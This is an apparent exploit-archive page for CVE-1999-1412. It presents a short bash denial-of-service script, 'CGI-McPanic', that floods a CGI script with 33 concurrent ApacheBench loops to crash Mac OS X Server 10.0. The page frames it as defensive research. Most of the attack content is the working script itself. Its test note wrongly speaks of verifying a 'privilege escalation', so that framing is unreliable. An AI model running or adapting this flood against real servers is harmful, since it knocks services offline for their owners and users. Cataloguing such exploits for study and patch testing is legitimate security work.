Materialized exploit

CVE-1999-1412

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB local osx Verified

Source

Apple Mac OSX Server 10.0 - Overload

By Juergen Schmidt

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

bash 19244.sh

Code sh

source: https://www.securityfocus.com/bid/306/info

A vulnerability in the MacOS X Server may crash it while under heavy load.

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Although the vulnerability is not related to web servering it can only be reproduced so far using this means.


#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with
#              concurrent calls to a CGI-Script
#
# before use, do:
#
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done